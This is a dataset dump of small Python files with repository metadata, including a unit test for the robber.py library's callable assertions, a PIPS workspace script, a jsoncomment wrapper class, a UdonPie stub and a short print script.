| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| 0
| 1
| 0
|
0
| 4
|
3ba4d02617c12301d6058a43d4602f7be1fc6a7c
| 624
|
py
|
Python
|
tests/integrations/test_callable.py
|
pylipp/robber.py
|
e84bb0c3dd982a383f3d9da2bf334f94836a7507
|
[
"MIT"
] | 23
|
2015-10-27T20:13:46.000Z
|
2021-12-22T03:18:29.000Z
|
tests/integrations/test_callable.py
|
pylipp/robber.py
|
e84bb0c3dd982a383f3d9da2bf334f94836a7507
|
[
"MIT"
] | 70
|
2016-09-29T07:30:06.000Z
|
2020-08-26T06:42:50.000Z
|
tests/integrations/test_callable.py
|
pylipp/robber.py
|
e84bb0c3dd982a383f3d9da2bf334f94836a7507
|
[
"MIT"
] | 10
|
2015-05-13T17:35:21.000Z
|
2021-05-06T12:40:01.000Z
|
from unittest import TestCase
from robber import expect
from tests import must_fail
class TestCallableIntegrations(TestCase):
def test_callable_success(self):
def a():
pass
expect(a).to.be.callable()
@must_fail
def test_callable_failure(self):
expect('a').to.be.callable()
expect(1).to.be.callable()
def test_not_to_be_callable_success(self):
expect('a').not_to.be.callable()
expect(1).not_to.be.callable()
@must_fail
def test_not_to_be_callable_failure(self):
def a():
pass
expect(a).not_to.be.callable()
| 23.111111
| 46
| 0.642628
| 85
| 624
| 4.482353
| 0.270588
| 0.08399
| 0.251969
| 0.19685
| 0.52231
| 0.435696
| 0.141732
| 0
| 0
| 0
| 0
| 0.004255
| 0.246795
| 624
| 26
| 47
| 24
| 0.806383
| 0
| 0
| 0.3
| 0
| 0
| 0.003205
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.3
| false
| 0.1
| 0.15
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
3bb78b446cde2b9a7b2324de32c90e9f033eca93
| 180
|
py
|
Python
|
packages/PIPS/validation/Top-level/duplicate03.py
|
DVSR1966/par4all
|
86b33ca9da736e832b568c5637a2381f360f1996
|
[
"MIT"
] | 51
|
2015-01-31T01:51:39.000Z
|
2022-02-18T02:01:50.000Z
|
packages/PIPS/validation/Top-level/duplicate03.py
|
DVSR1966/par4all
|
86b33ca9da736e832b568c5637a2381f360f1996
|
[
"MIT"
] | 7
|
2017-05-29T09:29:00.000Z
|
2019-03-11T16:01:39.000Z
|
packages/PIPS/validation/Top-level/duplicate03.py
|
DVSR1966/par4all
|
86b33ca9da736e832b568c5637a2381f360f1996
|
[
"MIT"
] | 12
|
2015-03-26T08:05:38.000Z
|
2022-02-18T02:01:51.000Z
|
from pyps import workspace
with workspace("duplicate.c","duplicate/duplicate.c", preprocessor_file_name_conflict_handling=True) as w:
print ":".join([f.name for f in w.fun])
| 30
| 106
| 0.755556
| 28
| 180
| 4.714286
| 0.75
| 0.151515
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.116667
| 180
| 5
| 107
| 36
| 0.830189
| 0
| 0
| 0
| 0
| 0
| 0.184358
| 0.117318
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.333333
| null | null | 0.333333
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
3bbf078b51c34ba1af51ed897493ee446952bd35
| 577
|
py
|
Python
|
TA-linode/bin/ta_linode/aob_py3/jsoncomment/wrapper.py
|
jriddle-linode/splunk-addon-linode
|
5954acd12ef88ab991365ef51072db68aed46aa1
|
[
"Apache-2.0"
] | 11
|
2020-01-23T11:32:26.000Z
|
2021-09-23T09:24:02.000Z
|
TA-linode/bin/ta_linode/aob_py3/jsoncomment/wrapper.py
|
jriddle-linode/splunk-addon-linode
|
5954acd12ef88ab991365ef51072db68aed46aa1
|
[
"Apache-2.0"
] | 26
|
2019-07-15T02:38:22.000Z
|
2021-12-01T04:14:17.000Z
|
TA-linode/bin/ta_linode/aob_py3/jsoncomment/wrapper.py
|
jriddle-linode/splunk-addon-linode
|
5954acd12ef88ab991365ef51072db68aed46aa1
|
[
"Apache-2.0"
] | 6
|
2019-07-14T17:44:06.000Z
|
2020-11-17T17:33:23.000Z
|
#!/bin/python
# coding: utf-8
##########################################################################################################################################
# A Class to simulate dynamic inheritance of Modules and Classes
class GenericWrapper:
def __init__(self, wrapped):
self.wrapped = wrapped
# Fallback lookup for undefined methods
def __getattr__(self, name):
return getattr(self.wrapped, name)
##########################################################################################################################################
| 36.0625
| 139
| 0.370884
| 38
| 577
| 5.421053
| 0.736842
| 0.160194
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.001946
| 0.109185
| 577
| 15
| 140
| 38.466667
| 0.398833
| 0.220104
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.4
| false
| 0
| 0
| 0.2
| 0.8
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
3bdc36f549760e916758b990305c03e43932448b
| 230
|
py
|
Python
|
System/StringComparison/__init__.py
|
Grim-es/udon-pie-auto-completion
|
c2cd86554ed615cdbbb01e19fa40665eafdfaedc
|
[
"MIT"
] | null | null | null |
System/StringComparison/__init__.py
|
Grim-es/udon-pie-auto-completion
|
c2cd86554ed615cdbbb01e19fa40665eafdfaedc
|
[
"MIT"
] | null | null | null |
System/StringComparison/__init__.py
|
Grim-es/udon-pie-auto-completion
|
c2cd86554ed615cdbbb01e19fa40665eafdfaedc
|
[
"MIT"
] | null | null | null |
from UdonPie import System
from UdonPie.Undefined import *
class StringComparison:
def __new__(cls, arg1=None):
'''
:returns: StringComparison
:rtype: System.StringComparison
'''
pass
| 19.166667
| 39
| 0.630435
| 21
| 230
| 6.714286
| 0.714286
| 0.156028
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.006098
| 0.286957
| 230
| 11
| 40
| 20.909091
| 0.853659
| 0.252174
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| false
| 0.2
| 0.4
| 0
| 0.8
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
|
0
| 4
|
3beb9c4cb007d2c14f9bd854ceb3a9038e08a4d9
| 61
|
py
|
Python
|
Hello.py
|
MyBrothers/Hellomybrother
|
9e9e197e4ed08a13b659634794f68fb568ad8fbe
|
[
"Apache-2.0"
] | null | null | null |
Hello.py
|
MyBrothers/Hellomybrother
|
9e9e197e4ed08a13b659634794f68fb568ad8fbe
|
[
"Apache-2.0"
] | null | null | null |
Hello.py
|
MyBrothers/Hellomybrother
|
9e9e197e4ed08a13b659634794f68fb568ad8fbe
|
[
"Apache-2.0"
] | null | null | null |
print("你真是个小机灵鬼")
print("好像写错了")
print("en ")
print("ddddd")
| 12.2
| 17
| 0.655738
| 8
| 61
| 5
| 0.625
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.081967
| 61
| 4
| 18
| 15.25
| 0.714286
| 0
| 0
| 0
| 0
| 0
| 0.344262
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
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